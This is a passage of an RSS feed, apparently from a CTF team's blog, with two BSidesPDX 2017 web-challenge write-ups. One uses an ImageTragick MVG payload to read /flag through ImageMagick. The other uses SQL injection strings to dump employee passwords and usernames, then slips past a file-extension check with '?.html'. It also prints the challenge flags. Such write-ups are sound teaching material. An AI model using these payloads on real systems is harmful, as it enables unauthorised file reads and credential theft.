				<description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Points:&lt;/strong&gt; 300&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;It's free, as in baby.

Host: ab743120bb6ae11e7ac800aee00def00-1664391948.eu-central-1.elb.amazonaws.com

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;note&quot;&gt;Note&lt;/h1&gt;
&lt;p&gt;The BSidesPDX organizers have made the source code for all of their challenges freely available so that you can run them at home and follow along. You can find more information &lt;a href=&quot;https://github.com/BSidesPDX/CTF-2017&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;investigation&quot;&gt;Investigation&lt;/h1&gt;
&lt;p&gt;Upon loading the screen, we are presented with a file upload and a button to make a jpeg icon. We also note that the version string indicates it was made in 2016, with a version of &lt;code class=&quot;highlighter-rouge&quot;&gt;Version 2016.3717&lt;/code&gt;. After playing around with it for a little while, I thought about how there was that ImageMagick bug last year that let you execute code remotely. I wasn’t sure it would work, but it was worth a shot.&lt;/p&gt;

&lt;p&gt;As I hunted down the ImageMagick bug, it became painfully apparent that the Version string provided to us was also the CVE number associated with the &lt;a href=&quot;https://imagetragick.com/&quot;&gt;ImageTragick&lt;/a&gt; bug.&lt;/p&gt;

&lt;p&gt;From the ImageTragick site, I decided to take the &lt;code class=&quot;highlighter-rouge&quot;&gt;read_file.mvg&lt;/code&gt; file and tweak it to meet my needs.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;push graphic-context
viewbox 0 0 64 48
image over 0,0 0,0 'label:@/flag'
pop graphic-context
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I suspected that the flag would be in &lt;code class=&quot;highlighter-rouge&quot;&gt;/flag&lt;/code&gt; since we had solved other challenges where the flag was in &lt;code class=&quot;highlighter-rouge&quot;&gt;/flag&lt;/code&gt;. Luckily I was right, and upon upload I was presented with the first few characters of the flag. Unfortunately I didn’t realize there was a hidden field being sent to determine the output size of the icon, so I wasted a lot of time coming up with this solution.&lt;/p&gt;

&lt;h1 id=&quot;solution&quot;&gt;Solution&lt;/h1&gt;
&lt;p&gt;I uploaded the read_file.mvg file a total of 5 times, modifying the &lt;code class=&quot;highlighter-rouge&quot;&gt;image over&lt;/code&gt; line each time in order to shift what I was able to view and move along the string. In order to do this, I had to set the first value (immediately after ‘over’) to -64, -128, -192, -256, and -320. This allowed me to read each section of the flag inside the tiny 64x48 viewport, instead of just modifying the hidden field to produce a bigger image.&lt;/p&gt;

&lt;h1 id=&quot;flag&quot;&gt;Flag&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;BSidesPDX{alw4ys_ch3ck_f0r_1day_b4_y0u_l00k_f0r_0day}&lt;/strong&gt;&lt;/p&gt;
</description>
				<pubDate>Sat, 21 Oct 2017 22:37:00 +0000</pubDate>
				<link>http://b0tchsec.com/2017/bsidespdx/makeicon</link>
				<guid isPermaLink="true">http://b0tchsec.com/2017/bsidespdx/makeicon</guid>
			</item>
		
			<item>
				<title>BSidesPDX CTF : SeaQuell</title>
				<description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Points:&lt;/strong&gt; 200&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Our competitors at SeaQuell have uploaded their latest proprietary data to their employee area. We have already compromised their web developer and obtained the source code to their site, here: seaquell.py

Host: a32fcd6eab2d811e784db0a6f99bb55a-829124630.eu-central-1.elb.amazonaws.com

Port: 1589

Seaquell.py

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;note&quot;&gt;Note&lt;/h1&gt;
&lt;p&gt;The BSidesPDX organizers have made the source code for all of their challenges freely available so that you can run them at home and follow along. You can find more information &lt;a href=&quot;https://github.com/BSidesPDX/CTF-2017&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;investigation&quot;&gt;Investigation&lt;/h1&gt;
&lt;p&gt;At the beginning of the challenge you are given the source for the website, and you know ou have to attempt to login to the employees-only area. Since we’ve got the source, we can see how the SQL queries are created for the login and craft an attack against that query.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;seaquell.py:31: cur.execute('SELECT password FROM employees WHERE username == &quot;'+user+'&quot;')
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;By injecting &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot; or 1=1 --&lt;/code&gt; into the username field and supplying a random password, we got a result in one of the HTTP headers that gave us a descriptive error.  &lt;code class=&quot;highlighter-rouge&quot;&gt;Invalid user: &quot;&quot; or 1=1 --&quot; (got [(u'pirat3',), (u'drillBabyDrill',)])&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we’ve got passwords, since the SQL query was selecting passwords where a username matched and we inserted a &lt;code class=&quot;highlighter-rouge&quot;&gt;1=1&lt;/code&gt; which always evaluates true. Next we need to get the usernames associated with these passwords. Nothing a little union select can’t handle. User &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot; union select username from employees--&lt;/code&gt; with a random password returns us a list of passwords in the same HTTP header error message. &lt;code class=&quot;highlighter-rouge&quot;&gt;Invalid user: &quot;&quot; union select username from employees--&quot; (got [(u'sparrowj',), (u'tillersonr',)])&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Once we’ve got the username password pairs, we login and there’s a link to the flag. Yes! We’ve got it!&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;h1&amp;gt;403&amp;lt;/h1&amp;gt;Not Authorized
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I guess not. Let’s take another look at the source and see what’s causing this.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        if ('..' in self.path or 
           not (self.path.endswith('.html') or
                self.path.endswith('/') or
                self.path.endswith('.jpg'))):
           self.send_response(403)
           self.end_headers()
           self.wfile.write('&amp;lt;h1&amp;gt;403&amp;lt;/h1&amp;gt;Not Authorized')
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So it looks like if we try to do any directory traversals we’ll get a 403, and if we don’t end with &lt;code class=&quot;highlighter-rouge&quot;&gt;.html&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;/&lt;/code&gt;, or &lt;code class=&quot;highlighter-rouge&quot;&gt;.jpg&lt;/code&gt; we’ll also get a 403. Luckily this is not how you properly evaluate the extension of a file in a URL, so we can abuse it to get the flag.&lt;/p&gt;

&lt;h1 id=&quot;solution&quot;&gt;Solution&lt;/h1&gt;
&lt;p&gt;Send your get request but append &lt;code class=&quot;highlighter-rouge&quot;&gt;?.html&lt;/code&gt; to the end of the flag url so that it looks like &lt;code class=&quot;highlighter-rouge&quot;&gt;/employees-only/flag?.html&lt;/code&gt;. Now you’ll receive the flag because &lt;code class=&quot;highlighter-rouge&quot;&gt;self.path.endswith('.html')&lt;/code&gt; evaluates to &lt;code class=&quot;highlighter-rouge&quot;&gt;True&lt;/code&gt;&lt;/p&gt;

&lt;h1 id=&quot;flag&quot;&gt;Flag&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;BSidesPDX{7h3_se4w33d_i5_alw4s_gr33n3r_wh3n_y0u_hav3_cr3ds}&lt;/strong&gt;&lt;/p&gt;
</description>
				<pubDate>Sat, 21 Oct 2017 21:37:00 +0000</pubDate>
				<link>http://b0tchsec.com/2017/bsidespdx/seaquell</link>
				<guid isPermaLink="true">http://b0tchsec.com/2017/bsidespdx/seaquell</guid>
			</item>
		
	</channel>
</rss>
